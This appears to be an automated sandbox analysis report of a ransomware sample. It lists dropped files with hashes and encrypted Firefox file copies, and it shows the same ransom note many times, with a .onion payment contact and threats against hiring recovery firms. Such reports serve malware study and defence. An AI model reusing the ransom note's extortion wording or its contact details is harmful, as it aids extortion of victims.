Preview:	.1..T....o.a..\|......?.......Gp.....n.&.O...N...Y.a R.".2.1]...s.u...5..h..... 9.c.4...&..;.C.ss.T......L.e..D..HzV..A..4k.l...T.....M...R.^.s...K....E.}l.]..v.b...w.].U..-P9.{..jw.V......P..J....g.b.....1..`.9...do....Z.#.....9JS...a.bJ..}......_....m..W..X.....N}.......2>...\|....I.>L..Az.bY).."f.1...:.........9g.b...^..2.+..m.V...Y. .....~H....f).C..(.....0..a>.}.m.^TiS..'.7M.ra.L..M.5....!..1..:..$..R.C.C.....".A4..<.i.....m.eSHb.IK...w......v..>...F.}.6.&C...W.....f.Q].h....7P. ,.F...XQV..s.......a.Z.....=J..&...a.nQ.Q..;.w.b......Ok.awqh...{'.....<..W}{...............v../.\....Z...;......P...#...#nz......#........2'.........B.S..........I....g..5..t<.q@\|a. .......g..2..f....2'......D...t.T/a.#.W.1M...4l.n...7..g..M..~..b..."..2a.H?.g..h...}...b..._.i.7....^...$.}.....rf....X.Y...9...x2S.Q.!D.V+.+....e..8.Z.....:.c>~.#....9C.X.')....n+....l.(,b.....y@.\|yJ=^..dY....3..8....t.DZ....S...^a .....\|:..zq.G.....l.?.*O...}.

C:\Program Files\Mozilla Firefox\xul.dll.sig.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	7.766717096883423
Encrypted:	false
SSDEEP:
MD5:	B9E717F92FC58D2866233ACD20F1A2D9
SHA1:	91A0E5F9482A28D567C1AA78EE1A88F61838F988
SHA-256:	52E5566C00519374388FDD72550A48B75B8C721094EDBAC771FC21ADC97FCF89
SHA-512:	BB646F9A713D05E09EB4BDA827A2826169FE6807FEC502934BFA3B6D87CBA564AF9B49AA52F707E41DB9459FEEBE73C3022F49EF5753CE4F2CEF761A5E19933D
Malicious:	false
Preview:	.1..T....o.a..\|......?.......Gp.....n.&.O...N...Y.a R.".2.1]...s.u...5..h..... 9.c.4...&..;.C.ss.T......L.e..D..HzV..A..4k.l...T.....M...R.^.s...K....E.}l.]..v.b...w.].U..-P9.{..jw.V......P..J....g.b.....1..`.9...do....Z.#.....9JS...a.bJ..}......_....m..W..X.....N}.......2>...\|....I.>L..Az.bY).."f.1...:.........9g.b...^..2.+..m.V...Y. .....~H....f).C..(.....0..a>.}.m.^TiS..'.7M.ra.L..M.5....!..1..:..$..R.C.C.....".A4..<.i.....m.eSHb.IK...w......v..>...F.}.6.&C...W.....f.Q].h....7P. ,.F...XQV..s.......a.Z.....=J..&...a.nQ.Q..;.w.b......Ok.awqh...{'.....<..W}{...............v../.\....Z...;......P...#...#nz......#........2'.........B.S..........I....g..5..t<.q@\|a. .......g..2..f....2'......D...t.T/a.#.W.1M...4l.n...7..g..M..~..b..."..2a.H?.g..h...}...b..._.i.7....^...$.}.....rf....X.Y...9...x2S.Q.!D.V+.+....e..8.Z.....:.c>~.#....9C.X.')....n+....l.(,b.....y@.\|yJ=^..dY....3..8....t.DZ....S...^a .....\|:..zq.G.....l.?.*O...}.

C:\Program Files\Mozilla Firefox\xul.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	131645658
Entropy (8bit):	7.297924041747992
Encrypted:	false
SSDEEP:
MD5:	4393EEB4FA53C5F8BE72605076723BAD
SHA1:	4952DE91691879D955FF54FA9EDB21D22BF8E297
SHA-256:	80E3E3DAFE51063E00B0D10C46A7896159B04662195FCA1B7A5F76BDB7EEE4B9
SHA-512:	95C37C50B0BC037F6F72D00BFAA5CB322B636E12C00D68AF9FE7B3CC1D95DA442DA7E6F51CF1CBD6893BD96B4B1334D77189B7D4390C82C3E2AAD81DD5777070
Malicious:	false
Preview:	.2...RH...d.B.C..............s.<...s.B...V......x_.O...D&T(.^........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .........x3.......I...............................J...RH..c.F.C.$....._......s.,...s.B...V......x_.O...D&<(.^............X....`..........p.!......)......$O.../......................X.x.(... ...8........... ...(5...~..@...................../e..RH`.a.R.C......_......s.<...s."...."...J..y_....K',8.[............@..@.data............"..................@....pdata..p.!.......!.................@..@.00cfg..(....0.......F............J..R.?.d....&.....$._.....Hu.<...s.B...V......>...k.D&,x.X.....J.............. ..`.rodata......`.......T..............@....tls.........0......."..............@....voltbl......@...........J...RH...d.B.C..a....w.....Mt.>..._.E...V......x..O ..7TO(.^.....`......................@..@.reloc..$O.......P...F..............@..B..........................................................J...RH...d.B.C......._......s.<...s.B

C:\Program Files\Mozilla Firefox\zoneIdProvenanceData

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	6.304890055197182
Encrypted:	false
SSDEEP:
MD5:	50A8B688AE223B5B2DE2E90D29B3B4AA
SHA1:	B5B586A46C64C08481F874796DF55D7234AD6829
SHA-256:	E20B273D81B4D3682CDE432F5E5622448C34D6457B44C7DD600D12993D366F31
SHA-512:	85CF2C4DD9B46FD38746FF9D63E9BC834B1E2C09845EBE100ADD870AEE42F8B6A54DB93F0B2B58B7E2F2507EF429BC5C916E7EB31104BCC21192550E153839BC
Malicious:	false
Preview:	.....<....&......T...7P..P..../B\.p.......WQ5/Qr1.v.k..."orCode=2.....Co....Ol.m.1.......A.0fW..1.6.$v4A.n.7.5-l..Zu.z_.N$..L:...p......C2/..h..t.x"Q..;.B.Cz.,0..$-J..../c...[.....W3.l..DL....8...H.J.O.]q..O.)..!...K9..{..~j.P..c...(...(...9]:yXf.P..".J.......F...4Elb.......................................................................................@.........29yp10v5m8k.

C:\Program Files\Mozilla Firefox\zoneIdProvenanceData.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	6.304890055197182
Encrypted:	false
SSDEEP:
MD5:	50A8B688AE223B5B2DE2E90D29B3B4AA
SHA1:	B5B586A46C64C08481F874796DF55D7234AD6829
SHA-256:	E20B273D81B4D3682CDE432F5E5622448C34D6457B44C7DD600D12993D366F31
SHA-512:	85CF2C4DD9B46FD38746FF9D63E9BC834B1E2C09845EBE100ADD870AEE42F8B6A54DB93F0B2B58B7E2F2507EF429BC5C916E7EB31104BCC21192550E153839BC
Malicious:	false
Preview:	.....<....&......T...7P..P..../B\.p.......WQ5/Qr1.v.k..."orCode=2.....Co....Ol.m.1.......A.0fW..1.6.$v4A.n.7.5-l..Zu.z_.N$..L:...p......C2/..h..t.x"Q..;.B.Cz.,0..$-J..../c...[.....W3.l..DL....8...H.J.O.]q..O.)..!...K9..{..~j.P..c...(...(...9]:yXf.P..".J.......F...4Elb.......................................................................................@.........29yp10v5m8k.

C:\Program Files\Reference Assemblies\Microsoft\Framework\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Reference Assemblies\Microsoft\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Reference Assemblies\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Uninstall Information\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Defender Advanced Threat Protection\Classification\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Defender Advanced Threat Protection\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Defender\Offline\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Defender\Platform\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Defender\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Defender\en-US\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Defender\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Mail\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Media Player\Media Renderer\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Media Player\Network Sharing\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Media Player\Skins\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Media Player\Visualizations\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
